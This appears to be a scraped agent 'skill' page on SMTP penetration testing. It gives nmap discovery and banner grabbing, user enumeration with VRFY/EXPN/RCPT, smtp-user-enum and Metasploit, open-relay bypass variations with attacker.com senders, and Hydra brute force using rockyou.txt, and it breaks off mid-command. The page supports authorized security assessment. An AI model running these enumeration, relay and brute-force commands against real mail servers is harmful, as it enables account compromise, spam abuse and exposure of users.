SMTP Penetration Testing
This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
Documentation
SMTP Penetration Testing
Purpose
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration. This skill covers banner grabbing, user enumeration techniques, relay testing, brute force attacks, and security hardening recommendations.
Prerequisites
Required Tools
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
Required Knowledge
- SMTP protocol fundamentals
- Email architecture (MTA, MDA, MUA)
- DNS and MX records
- Network protocols
Required Access
- Target SMTP server IP/hostname
- Written authorization for testing
- Wordlists for enumeration and brute force
Outputs and Deliverables
- SMTP Security Assessment Report - Comprehensive vulnerability findings
- User Enumeration Results - Valid email addresses discovered
- Relay Test Results - Open relay status and exploitation potential
- Remediation Recommendations - Security hardening guidance
Core Workflow
Phase 1: SMTP Architecture Understanding
Components: MTA (transfer) → MDA (delivery) → MUA (client)
Ports: 25 (SMTP), 465 (SMTPS), 587 (submission), 2525 (alternative)
Workflow: Sender MUA → Sender MTA → DNS/MX → Recipient MTA → MDA → Recipient MUA
Phase 2: SMTP Service Discovery
Identify SMTP servers and versions:
# Discover SMTP ports
nmap -p 25,465,587,2525 -sV TARGET_IP
# Aggressive service detection
nmap -sV -sC -p 25 TARGET_IP
# SMTP-specific scripts
nmap --script=smtp-* -p 25 TARGET_IP
# Discover MX records for domain
dig MX target.com
nslookup -type=mx target.com
host -t mx target.com
Phase 3: Banner Grabbing
Retrieve SMTP server information:
# Using Telnet
telnet TARGET_IP 25
# Response: 220 mail.target.com ESMTP Postfix
# Using Netcat
nc TARGET_IP 25
# Response: 220 mail.target.com ESMTP
# Using Nmap
nmap -sV -p 25 TARGET_IP
# Version detection extracts banner info
# Manual SMTP commands
EHLO test
# Response reveals supported extensions
Parse banner information:
Banner reveals:
- Server software (Postfix, Sendmail, Exchange)
- Version information
- Hostname
- Supported SMTP extensions (STARTTLS, AUTH, etc.)
Phase 4: SMTP Command Enumeration
Test available SMTP commands:
# Connect and test commands
nc TARGET_IP 25
# Initial greeting
EHLO attacker.com
# Response shows capabilities:
250-mail.target.com
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-8BITMIME
250 DSN
Key commands to test:
# VRFY - Verify user exists
VRFY admin
250 2.1.5 admin@target.com
# EXPN - Expand mailing list
EXPN staff
250 2.1.5 user1@target.com
250 2.1.5 user2@target.com
# RCPT TO - Recipient verification
MAIL FROM:<test@attacker.com>
RCPT TO:<admin@target.com>
# 250 OK = user exists
# 550 = user doesn't exist
Phase 5: User Enumeration
Enumerate valid email addresses:
# Using smtp-user-enum with VRFY
smtp-user-enum -M VRFY -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/users.txt -t TARGET_IP
# Using RCPT method
smtp-user-enum -M RCPT -U /usr/share/wordlists/users.txt -t TARGET_IP
# Specify port and domain
smtp-user-enum -M VRFY -U users.txt -t TARGET_IP -p 25 -d target.com
Using Metasploit:
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS TARGET_IP
set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
set UNIXONLY true
run
Using Nmap:
# SMTP user enumeration script
nmap --script smtp-enum-users -p 25 TARGET_IP
# With custom user list
nmap --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} -p 25 TARGET_IP
Phase 6: Open Relay Testing
Test for unauthorized email relay:
# Using Nmap
nmap -p 25 --script smtp-open-relay TARGET_IP
# Manual testing via Telnet
telnet TARGET_IP 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<victim@external-domain.com>
DATA
Subject: Relay Test
This is a test.
.
QUIT
# If accepted (250 OK), server is open relay
Using Metasploit:
use auxiliary/scanner/smtp/smtp_relay
set RHOSTS TARGET_IP
run
Test variations:
# Test different sender/recipient combinations
MAIL FROM:<>
MAIL FROM:<test@[attacker_IP]>
MAIL FROM:<test@target.com>
RCPT TO:<test@external.com>
RCPT TO:<"test@external.com">
RCPT TO:<test%external.com@target.com>
Phase 7: Brute Force Authentication
Test for weak SMTP credentials:
# Using Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt smtp://TARGET_IP
# With specific port and SSL
hydra -l admin -P passwords.txt -s 465 -S TARGET_IP smtp
# Multiple users
hydra -L users.tx
Quick Info
- Source
- antigravity
- Category
- Security & Systems
- Repository
- View Repo
- Scraped At
- Jan 26, 2026
Tags
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